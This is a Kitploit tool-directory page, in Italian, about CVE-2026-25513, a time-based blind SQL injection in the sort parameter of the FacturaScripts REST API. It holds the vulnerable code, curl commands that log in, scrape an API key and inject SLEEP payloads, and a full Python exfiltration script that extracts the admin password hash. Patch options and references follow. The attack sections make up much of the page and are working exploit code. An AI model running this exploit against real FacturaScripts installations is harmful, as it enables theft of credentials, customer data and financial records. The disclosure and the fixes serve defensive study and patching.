Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-25513
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts presenta una SQL injection nella clausola ORDER BY dell'API

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25513: FacturaScripts ha un'SQL Injection nella clausola ORDER BY dell'API

Panoramica

CampoDettagli
ID CVECVE-2026-25513
GravitàALTA
AdvisoryVisualizza Advisory
Scoperto daLukasz Rybak

Prodotti Interessati

  • facturascripts/facturascripts (versioni: < 2025.81)

Classificazione CWE

  • CWE-20: Convalida non corretta dell'input (Improper Input Validation)
  • CWE-89: Neutralizzazione non corretta degli elementi speciali utilizzati in un comando SQL ('SQL Injection')
  • CWE-943: Neutralizzazione non corretta degli elementi speciali nella logica delle query sui dati
  • CWE-1286: Convalida non corretta della correttezza sintattica dell'input

Dettagli

Riepilogo

FacturaScripts contiene una vulnerabilità critica di SQL injection nell'API REST che consente agli utenti API autenticati di eseguire query SQL arbitrarie tramite il parametro sort. La vulnerabilità esiste nel metodo ModelClass::getOrderBy() in cui i parametri di ordinamento forniti dall'utente vengono concatenati direttamente nella clausola ORDER BY di SQL senza convalida o sanitizzazione. Questo interessa tutti gli endpoint API che supportano la funzionalità di ordinamento.


Dettagli

L'API REST di FacturaScripts espone i modelli del database tramite vari endpoint (ad es. /api/3/users, /api/3/attachedfiles, /api/3/customers). Questi endpoint supportano un parametro sort che consente ai client di specificare l'ordinamento dei risultati. L'API elabora questo parametro tramite il metodo ModelClass::all(), che chiama la funzione vulnerabile getOrderBy().

Posizioni del Codice Vulnerabile

1. Modelli Legacy: File: /Core/Model/Base/ModelClass.php Metodo: getOrderBy() Concatenazione diretta di chiavi e valori dall'array $order.

2. Modelli Moderni (DbQuery): File: /Core/DbQuery.php Metodo: orderBy() Righe: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Questo controllo ha lo scopo di consentire le funzioni SQL ma non le valida, permettendo un'SQL injection arbitraria.


Prova di Concetto (PoC)

Prerequisiti

  • Token di autenticazione API valido (header X-Auth-Token)
  • Accesso agli endpoint API di FacturaScripts

Verifica Passo-Passo (CLI)

Poiché FacturaScripts richiede una chiave API esistente, prima accediamo tramite l'interfaccia web per trovare una chiave valida.

1. Accesso e recupero di una chiave API valida: Gestiamo il token CSRF e i cookie di sessione per accedere alle impostazioni e recuperare la prima chiave disponibile.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Verifica dell'SQL Injection basata sul tempo: Utilizzare la API_KEY estratta nell'header X-Auth-Token.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Risultato Atteso: La richiesta iniettata impiegherà notevolmente più tempo (il ritardo dipende dai record del database), confermando l'SQL injection.


Strumento di Sfruttamento Automatico

Questo script accede automaticamente a FacturaScripts, recupera una chiave API valida ed esegue l'estrazione di dati con distinzione tra maiuscole e minuscole utilizzando l'SQL injection cieca basata sul tempo.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
immagine

Impatto

Riservatezza dei Dati

  • Divulgazione completa del database tramite tecniche di SQL injection cieca
  • Estrazione di dati sensibili, tra cui:
    • Credenziali utente e chiavi API
    • PII dei clienti (informazioni personali identificabili)
    • Documenti finanziari e dati sulle transazioni
    • Business intelligence e informazioni sui prezzi
    • Configurazione di sistema e segreti

Chi è Colpito?

  • Organizzazioni che utilizzano l'API di FacturaScripts per le integrazioni
  • App mobili e integrazioni di terze parti che utilizzano l'API
  • Tutti gli utenti i cui dati sono accessibili tramite API
  • Partner commerciali con accesso API

Correttivo Consigliato

Mitigazione Immediata

Opzione 1: Implementare una convalida rigorosa tramite whitelist (Consigliata)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Opzione 2: Utilizzare le funzioni di escaping del database

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Opzione 3: Utilizzare il pattern Query Builder

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Best Practice di Sicurezza per le API

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Crediti

Scoperto da: Łukasz Rybak

Riferimenti

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Disclaimer

Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite sono solo a scopo educativo e difensivo.

Scarica lo strumento